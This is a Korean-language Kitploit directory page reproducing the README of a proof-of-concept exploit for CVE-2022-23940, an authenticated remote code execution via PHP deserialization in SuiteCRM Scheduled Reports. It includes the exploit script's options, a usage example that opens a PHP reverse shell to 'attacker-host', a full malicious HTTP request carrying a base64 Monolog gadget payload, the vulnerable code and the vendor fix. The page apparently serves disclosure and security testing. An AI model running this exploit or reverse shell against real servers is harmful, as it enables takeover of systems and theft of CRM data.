Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-23940 — CVE-2022-23940용 PoC | Kitploit
도구/GitHubGitHub/manuelz120/cve-2022-23940
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubmanuelz120/cve-2022-23940

CVE-2022-23940

CVE-2022-23940용 PoC

저장소 보기
1471년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

CVE-2022-23940

CVE-2022-23940에 대한 PoC, 일명 SCRMBT-#187 - SuiteCRM(<= 7.12.4) 및 SuiteCRM-Core(<= 8.0.3)의 예약 보고서(Scheduled Reports)를 통한 인증된 원격 코드 실행.

이 취약점은 SalesAgility에 보고되었으며 SuiteCRM 7.12.5 및 _SuiteCRM Core 8.0.4_에서 수정되었습니다. 영향을 받는 버전에서는 예약 보고서를 생성할 수 있는 권한이 있는 사용자가 원격 코드 실행을 달성하고 서버를 장악할 수 있습니다. 이전 버전의 SuiteCRM을 사용 중이라면 업데이트하는 것을 적극 권장합니다.

사용법

설치

  1. python3 및 pip 최신 버전이 설치되어 있는지 확인하십시오.
  2. 저장소를 클론합니다: git clone https://github.com/manuelz120/CVE-2022-23940.git
  3. 필요한 라이브러리를 설치합니다 pip3 install -r "requirements.txt"
  4. 즐기세요 :)

사용 가능한 옵션:

root@kitploit:~
(.venv) ➜  CVE-2022-23940 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2022-23940

사용 예시:

asciicast

root@kitploit:~
# Spawning a PHP Reverse shell to attacker-host on port 4444
./exploit.py -u user -p redacted --payload "php -r '\$sock=fsockopen(\"attacker-host\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

분석

**예약 보고서(Scheduled Reports)**를 생성할 수 있는 사용자(AOR_Scheduled_Reports 모듈에 항목을 생성할 수 있는 사용자)는 PHP 역직렬화 취약점을 악용하여 서버에서 임의의 코드를 실행할 수 있습니다.

AOR_Scheduled_Reports 모듈은 보고서의 이메일 수신자를 직렬화된(serialized) base64 인코딩 문자열로 데이터베이스에 저장합니다. 예약 보고서의 데이터를 받으면 해당 열이 역직렬화됩니다. 공격자가 이 열에 임의의 콘텐츠를 삽입할 수 있다면 다양한 PHP 역직렬화 가젯을 통해 RCE를 달성할 수 있습니다(제 테스트에서는 phpggc 도구의 Monolog/RCE2를 사용했습니다).

페이로드는 AOR_Scheduled_Reports 모듈의 레거시 save 호출을 사용하여 데이터베이스에 저장할 수 있습니다. 서버는 email_recipients 매개변수가 항상 배열이라고 잘못 가정합니다. 하지만 악의적인 클라이언트가 email_recipients를 문자열로 전달하면 해당 데이터는 있는 그대로 데이터베이스에 저장됩니다. 역직렬화되면 가젯이 서버에서 실행되어 원격 코드 실행을 얻을 수 있습니다.

AOR_Scheduled_Reports 클래스의 save 함수에서 취약한 구현입니다. 아래를 보면 get_email_recipients가 데이터베이스에 저장된 콘텐츠에 대해 unserialize를 호출하는 것을 확인할 수 있습니다:

root@kitploit:~
// SuiteCRM-Core/public/legacy/modules/AOR_Scheduled_Reports/AOR_Scheduled_Reports.php

public function save($check_notify = false)
{
    if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
        $this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
    }

    return parent::save($check_notify);
}

public function get_email_recipients()
{
    $params = unserialize(base64_decode($this->email_recipients));
    // ....

이러한 악성 예약 보고서를 생성하는 예제 요청은 다음과 같습니다(email_recipients 값을 디코딩하면 단순히 touch /tmp/hacked를 실행하는 것을 확인할 수 있습니다):

root@kitploit:~
POST /index.php HTTP/1.1
Host: localhost
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: http://localhost
content-type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e7alkhdo7lrknc8a7l6v2rpanr; sugar_user_theme=SuiteP
Content-Length: 999

module=AOR_Scheduled_Reports&action=Save&name=test&status=active&schedule_type=monthly&email_recipients=YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ%3D%3D%0A

구현된 수정

수정된 코드를 살펴보면 개발자들이 데이터를 데이터베이스에 저장하기 전에 email_recipients 매개변수에 저장된 데이터를 파싱하고 검증하는 새로운 parseRecipients 함수를 추가했음을 알 수 있습니다. 값이 예상 형식과 일치하는 경우에만 데이터가 저장됩니다. 따라서 역직렬화 RCE는 더 이상 작동하지 않습니다:

https://github.com/salesagility/SuiteCRM-Core/commit/63b969478d812d5ed937bf54fe5b174232e91a00#diff-0c100713e7e6c2c4c068cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2R205-R221

fixed code

타임라인

  • 24/01/2022: 취약점 발견 및 SuiteCRM에 보고
  • 25/01/2022: 공급업체(SalesAgility)가 취약점 확인
  • 02/03/2022: 수정 버전 출시 (SuiteCRM 7.12.5 및 SuiteCRM Core 8.0.4)

크레딧

  • phpggc
도구 다운로드